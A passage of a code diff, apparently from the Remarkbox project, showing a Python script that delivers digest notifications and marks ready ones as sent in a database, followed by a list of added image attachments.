|
Returns:
|
||||||
|
int: Number of unsent notifications
|
||||||
|
"""
|
||||||
|
with transaction.manager:
|
||||||
|
dbsession = get_tm_session(
|
||||||
|
request.registry["dbsession_factory"], transaction.manager
|
||||||
|
)
|
||||||
|
return dbsession.query(NodeEventNotification).filter(
|
||||||
|
NodeEventNotification.sent == False
|
||||||
|
).count()
|
||||||
|
|
||||||
|
|
||||||
|
def mark_ready_notifications_as_sent(request):
|
||||||
|
"""
|
||||||
|
Mark notifications as sent if they were ready to be delivered based on frequency rules.
|
||||||
|
Only marks non-orphaned notifications (those with valid node_event).
|
||||||
|
|
||||||
|
Args:
|
||||||
|
request: Pyramid request object
|
||||||
|
|
||||||
|
Returns:
|
||||||
|
tuple: (total_unsent, marked_as_sent, left_for_later)
|
||||||
|
"""
|
||||||
|
with transaction.manager:
|
||||||
|
dbsession = get_tm_session(
|
||||||
|
request.registry["dbsession_factory"], transaction.manager
|
||||||
|
)
|
||||||
|
|
||||||
|
# Get all unsent notifications
|
||||||
|
unsent_notifications = dbsession.query(NodeEventNotification).filter(
|
||||||
|
NodeEventNotification.sent == False
|
||||||
|
).all()
|
||||||
|
|
||||||
|
total_unsent = len(unsent_notifications)
|
||||||
|
|
||||||
|
if total_unsent == 0:
|
||||||
|
return total_unsent, 0, 0
|
||||||
|
|
||||||
|
# Only mark notifications that should have been sent based on frequency
|
||||||
|
# and are not orphaned (have valid node_event)
|
||||||
|
ready_notification_ids = [
|
||||||
|
n.id for n in unsent_notifications
|
||||||
|
if should_have_been_sent(n) and n.node_event is not None
|
||||||
|
]
|
||||||
|
|
||||||
|
# Count orphaned notifications separately
|
||||||
|
orphaned_count = sum(1 for n in unsent_notifications if n.node_event is None)
|
||||||
|
if orphaned_count > 0:
|
||||||
|
log.warning(f"Found {orphaned_count} orphaned notifications that will not be marked as sent")
|
||||||
|
|
||||||
|
marked_as_sent = 0
|
||||||
|
if ready_notification_ids:
|
||||||
|
marked_as_sent = dbsession.query(NodeEventNotification).filter(
|
||||||
|
NodeEventNotification.id.in_(ready_notification_ids)
|
||||||
|
).update({
|
||||||
|
'sent': True,
|
||||||
|
'updated_timestamp': now_timestamp()
|
||||||
|
}, synchronize_session=False)
|
||||||
|
|
||||||
|
# Ensure changes are persisted
|
||||||
|
dbsession.flush()
|
||||||
|
transaction.commit()
|
||||||
|
|
||||||
|
left_for_later = total_unsent - marked_as_sent
|
||||||
|
return total_unsent, marked_as_sent, left_for_later
|
||||||
|
|
||||||
|
|
||||||
def main():
|
def main():
|
||||||
|
"""Main entry point for the digest notification script."""
|
||||||
parser = get_arg_parser()
|
parser = get_arg_parser()
|
||||||
args = parser.parse_args()
|
args = parser.parse_args()
|
||||||
setup_logging(args.config)
|
setup_logging(args.config)
|
||||||
|
|
||||||
|
log.info("Starting node digest notification delivery")
|
||||||
|
|
||||||
|
try:
|
||||||
with bootstrap(args.config) as env:
|
with bootstrap(args.config) as env:
|
||||||
deliver_scheduled_notifications(env["request"])
|
request = env["request"]
|
||||||
|
|
||||||
|
# Check initial state
|
||||||
|
before_count = get_unsent_notification_count(request)
|
||||||
|
log.info(f"Found {before_count} unsent notifications before delivery")
|
||||||
|
|
||||||
|
if before_count == 0:
|
||||||
|
log.info("No notifications to process")
|
||||||
|
return
|
||||||
|
|
||||||
|
# Deliver scheduled notifications with orphaned notification protection
|
||||||
|
log.info("Delivering scheduled notifications...")
|
||||||
|
with transaction.manager:
|
||||||
|
dbsession = get_tm_session(
|
||||||
|
request.registry["dbsession_factory"], transaction.manager
|
||||||
|
)
|
||||||
|
safe_deliver_scheduled_notifications(request, dbsession)
|
||||||
|
transaction.commit()
|
||||||
|
|
||||||
|
# Check final state and mark ready notifications as sent
|
||||||
|
log.info("Checking for notifications that need to be marked as sent...")
|
||||||
|
total_unsent, marked_as_sent, left_for_later = mark_ready_notifications_as_sent(request)
|
||||||
|
|
||||||
|
# Log results
|
||||||
|
if total_unsent == 0:
|
||||||
|
log.info("All notifications were properly marked as sent by delivery function")
|
||||||
|
elif marked_as_sent > 0:
|
||||||
|
log.info(f"Marked {marked_as_sent} ready notifications as sent")
|
||||||
|
if left_for_later > 0:
|
||||||
|
log.info(f"Left {left_for_later} notifications for later delivery based on frequency rules")
|
||||||
|
else:
|
||||||
|
log.info("No notifications were ready to be sent based on frequency rules")
|
||||||
|
|
||||||
|
log.info("Node digest notification delivery completed successfully")
|
||||||
|
|
||||||
|
except Exception as e:
|
||||||
|
log.error(f"Error during digest notification delivery: {e}")
|
||||||
|
raise
|
||||||
|
|
||||||
|
|
||||||
|
if __name__ == "__main__":
|
||||||
|
main()
|
||||||
BIN
remarkbox/static/attachment/2014-05-29-112153.jpg
Normal file
|
After Width: | Height: | Size: 257 KiB |
BIN
remarkbox/static/attachment/2014-05-29-112209.jpg
Normal file
|
After Width: | Height: | Size: 270 KiB |
BIN
remarkbox/static/attachment/20150430_100016.jpg
Normal file
|
After Width: | Height: | Size: 2 MiB |
BIN
remarkbox/static/attachment/accout.png
Normal file
|
After Width: | Height: | Size: 159 KiB |
BIN
remarkbox/static/attachment/beatle.jpeg
Normal file
|
After Width: | Height: | Size: 534 KiB |
BIN
remarkbox/static/attachment/bridge.jpg
Normal file
|
After Width: | Height: | Size: 536 KiB |
BIN
remarkbox/static/attachment/capture-the-flag-7th-place.png
Normal file
|
After Width: | Height: | Size: 484 KiB |